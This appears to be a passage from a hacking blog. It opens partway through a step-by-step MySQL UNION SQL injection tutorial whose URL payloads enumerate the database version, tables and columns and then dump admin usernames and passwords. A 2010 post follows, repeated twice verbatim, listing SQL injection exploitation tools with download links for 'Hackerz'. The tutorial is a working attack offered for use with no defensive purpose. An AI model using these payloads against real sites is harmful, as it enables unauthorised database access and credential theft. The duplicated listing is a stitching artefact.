www.site.com/page=1 union all select 1,2,3,4--

This is what we would enter if we have 4 columns. If you have 7 columns you would put,union all select 1,2,3,4,5,6,7-- If this is done successfully the page should show a couple of numbers somewhere on the page. For example, 2 and 3. This means columns 2 and 3 are vulnerable.

Step 4

We now need to find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:
user()
database()
version()
or if these dont work try...
@@user
@@version
@@database


For example the url would look like:
www.site.com/page=1 union all select 1,user(),version(),4--

The resulting page would then show the database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.
IMPORTANT: If the version is 5 and above read on to carry out the attack, if it is 4 and below, you have to brute force or guess the table and column names, programs can be used to do this.

Step 5

In this step our aim is to list all the table names in the database. To do this we enter the following command after the url.
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
So the url would look like:
www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--

Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables.

Step 6
In this Step we want to list all the column names in the database, to do this we use the following command:

union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--

So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user,email and password.

Step 7

Finally we need to dump the data, so say we want to get the "username" and "password" fields, from table "admin" we would use the following command,
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--

Here the "concat" command matches up the username with the password so you dont have to guess, if this command is successful then you should be presented with a page full of usernames and passwords from the website

Monday, November 29, 2010

Another Top 10 SQL Injection Scanners

SQL injection is a very popular and easy hack technique of WEB 2.0 application and by using following tools you can your self try you’re Luck. I will write further tutorials to use these things.

Checking for SQL Injection vulnerabilities involves auditing your web applications and the best way to do it is by using automated SQL Injection Scanners. I’ve compiled a list of free SQL Injection Scanners I believe will be of a value to Hackerz

SQLIer – SQLIer takes a vulnerable URL and attempts to determine all the necessary information to exploit the SQL Injection vulnerability by itself, requiring no user interaction at all.

SQLbftools – SQLbftools is a collection of tools to retrieve MySQL information available using a blind SQL Injection attack.

SQL Injection Brute-forcer – SQLibf is a tool for automatizing the work of detecting and exploiting SQL Injection vulnerabilities. SQLibf can work in Visible and Blind SQL Injection. It works by doing simple logic SQL operations to determine the exposure level of the vulnerable application.

SQLBrute – SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle. It is written in Python, uses multi-threading, and doesn’t require non-standard libraries.

BobCat – BobCat is a tool to aid an auditor in taking full advantage of SQL injection vulnerabilities. It is based on AppSecInc research. It can list the linked severs, database schema, and allow the retrieval of data from any table that the current application user has access to.

SQLMap – SQLMap is an automatic blind SQL injection tool, developed in python, capable to perform an active database management system fingerprint, enumerate entire remote databases and much more. The aim of SQLMap is to implement a fully functional database management system tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities.

Absinthe – Absinthe is a GUI-based tool that automates the process of downloading the schema and contents of a database that is vulnerable to Blind SQL Injection.

SQL Injection Pen-testing Tool – The SQL Injection Tool is a GUI-based utility designed to examine database through vulnerabilities in web-applications.
Get SQL Injection Pen-testing tool.( http://sqltool.itdefence.ru/indexeng.html )

SQID – SQL Injection digger (SQLID) is a command line program that looks for SQL injections and common errors in websites. It can perform the follwing operations: look for SQL injection in a web pages and test submit forms for possible SQL injection vulnerabilities.

Blind SQL Injection Perl Tool – bsqlbf is a Perl script that lets auditors retrieve information from web sites that are vulnerable to SQL Injection.
Get Blind SQL Injection Perl Tool. (http://www.unsec.net/download/bsqlbf.pl )

Another Top 10 SQL Injection Scanners

SQL injection is a very popular and easy hack technique of WEB 2.0 application and by using following tools you can your self try you’re Luck. I will write further tutorials to use these things.

Checking for SQL Injection vulnerabilities involves auditing your web applications and the best way to do it is by using automated SQL Injection Scanners. I’ve compiled a list of free SQL Injection Scanners I believe will be of a value to Hackerz

SQLIer – SQLIer takes a vulnerable URL and attempts to determine all the necessary information to exploit the SQL Injection vulnerability by itself, requiring no user interaction at all.

SQLbftools – SQLbftools is a collection of tools to retrieve MySQL information available using a blind SQL Injection attack.

SQL Injection Brute-forcer – SQLibf is a tool for automatizing the work of detecting and exploiting SQL Injection vulnerabilities. SQLibf can work in Visible and Blind SQL Injection. It works by doing simple logic SQL operations to determine the exposure level of the vulnerable application.

SQLBrute – SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle. It is written in Python, uses multi-threading, and doesn’t require non-standard libraries.

BobCat – BobCat is a tool to aid an auditor in taking full advantage of SQL injection vulnerabilities. It is based on AppSecInc research. It can list the linked severs, database schema, and allow the retrieval of data from any table that the current application user has access to.

SQLMap – SQLMap is an automatic blind SQL injection tool, developed in python, capable to perform an active database management system fingerprint, enumerate entire remote databases and much more. The aim of SQLMap is to implement a fully functional database management system tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities.

Absinthe – Absinthe is a GUI-based tool that automates the process of downloading the schema and contents of a database that is vulnerable to Blind SQL Injection.

SQL Injection Pen-testing Tool – The SQL Injection Tool is a GUI-based utility designed to examine database through vulnerabilities in web-applications.
Get SQL Injection Pen-testing tool.( http://sqltool.itdefence.ru/indexeng.html )

SQID – SQL Injection digger (SQLID) is a command line program that looks for SQL injections and common errors in websites. It can perform the follwing operations: look for SQL injection in a web pages and test submit forms for possible SQL injection vulnerabilities.

Blind SQL Injection Perl Tool – bsqlbf is a Perl script that lets auditors retrieve information from web sites that are vulnerable to SQL Injection.
Get Blind SQL Injection Perl Tool. (http://www.unsec.net/download/bsqlbf.pl )